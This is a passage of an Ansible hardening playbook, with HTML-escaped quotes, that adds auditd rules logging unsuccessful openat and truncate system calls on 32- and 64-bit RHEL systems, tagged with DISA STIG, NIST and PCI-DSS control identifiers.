        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_openat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for openat EPERM for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - openat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of openat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - openat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of openat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_openat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for openat EPERM for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - openat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of openat in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - openat
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of openat in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_openat
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Set architecture for audit truncate tasks
    ansible.builtin.set_fact:
      audit_arch: b64
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - ansible_architecture == &quot;aarch64&quot; or ansible_architecture == &quot;ppc64&quot; or ansible_architecture
      == &quot;ppc64le&quot; or ansible_architecture == &quot;s390x&quot; or ansible_architecture == &quot;x86_64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_truncate
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for truncate EACCES for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - truncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of truncate in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - truncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of truncate in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_truncate
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for truncate EACCES for 64bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - truncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of truncate in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - truncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of truncate in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b64(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EACCES -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b64)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EACCES -F auid&gt;=1000 -F
          auid!=unset (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b64 -S {{ syscalls | join(',') }} -F exit=-EACCES
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    - audit_arch == &quot;b64&quot;
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
    - PCI-DSS-Req-10.2.1
    - PCI-DSS-Req-10.2.4
    - audit_rules_unsuccessful_file_modification_truncate
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Perform remediation of Audit rules for truncate EPERM for 32bit platform
    block:

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - truncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of truncate in /etc/audit/rules.d/
      ansible.builtin.find:
        paths: /etc/audit/rules.d
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: '*.rules'
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Reset syscalls found per file
      ansible.builtin.set_fact:
        syscalls_per_file: {}
        found_paths_dict: {}

    - name: Declare syscalls found per file
      ansible.builtin.set_fact: syscalls_per_file=&quot;{{ syscalls_per_file | combine(
        {item.files[0].path :[item.item] + syscalls_per_file.get(item.files[0].path,
        []) } ) }}&quot;
      loop: '{{ find_command.results | selectattr(''matched'') | list }}'

    - name: Declare files where syscalls were found
      ansible.builtin.set_fact: found_paths=&quot;{{ find_command.results | map(attribute='files')
        | flatten | map(attribute='path') | list }}&quot;

    - name: Count occurrences of syscalls in paths
      ansible.builtin.set_fact: found_paths_dict=&quot;{{ found_paths_dict | combine({
        item:1+found_paths_dict.get(item, 0) }) }}&quot;
      loop: '{{ find_command.results | map(attribute=''files'') | flatten | map(attribute=''path'')
        | list }}'

    - name: Get path with most syscalls
      ansible.builtin.set_fact: audit_file=&quot;{{ (found_paths_dict | dict2items() |
        sort(attribute='value') | last).key }}&quot;
      when: found_paths | length &gt;= 1

    - name: No file with syscall found, set path to /etc/audit/rules.d/access.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/rules.d/access.rules&quot;
      when: found_paths | length == 0

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_per_file[audit_file]
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0

    - name: Declare list of syscalls
      ansible.builtin.set_fact:
        syscalls:
        - truncate
        syscall_grouping:
        - creat
        - ftruncate
        - truncate
        - open
        - openat
        - open_by_handle_at

    - name: Check existence of truncate in /etc/audit/audit.rules
      ansible.builtin.find:
        paths: /etc/audit
        contains: -a always,exit -F arch=b32(( -S |,)\w+)*(( -S |,){{ item }})+((
          -S |,)\w+)* -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset (-k\s+|-F\s+key=)\S+\s*$
        patterns: audit.rules
      register: find_command
      loop: '{{ (syscall_grouping + syscalls) | unique }}'

    - name: Set path to /etc/audit/audit.rules
      ansible.builtin.set_fact: audit_file=&quot;/etc/audit/audit.rules&quot;

    - name: Declare found syscalls
      ansible.builtin.set_fact: syscalls_found=&quot;{{ find_command.results | selectattr('matched')
        | map(attribute='item') | list }}&quot;

    - name: Declare missing syscalls
      ansible.builtin.set_fact: missing_syscalls=&quot;{{ syscalls | difference(syscalls_found)
        }}&quot;

    - name: Replace the audit rule in {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        regexp: (-a always,exit -F arch=b32)(?=.*(?:(?:-S |,)(?:{{ syscalls_found
          | join(&quot;|&quot;) }}))\b)((?:( -S |,)\w+)+)( -F exit=-EPERM -F auid&gt;=1000 -F auid!=unset
          (?:-k |-F key=)\w+)
        line: \1\2\3{{ missing_syscalls | join(&quot;\3&quot;) }}\4
        backrefs: true
        state: present
        mode: g-rwx,o-rwx
      when: syscalls_found | length &gt; 0 and missing_syscalls | length &gt; 0

    - name: Add the audit rule to {{ audit_file }}
      ansible.builtin.lineinfile:
        path: '{{ audit_file }}'
        line: -a always,exit -F arch=b32 -S {{ syscalls | join(',') }} -F exit=-EPERM
          -F auid&gt;=1000 -F auid!=unset -F key=access
        create: true
        mode: g-rwx,o-rwx
        state: present
      when: syscalls_found | length == 0
    when:
    - '&quot;audit&quot; in ansible_facts.packages'
    - '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-030420
    - NIST-800-171-3.1.7
    - NIST-800-53-AU-12(c)
    - NIST-800-53-AU-2(d)
    - NIST-800-53-CM-6(a)
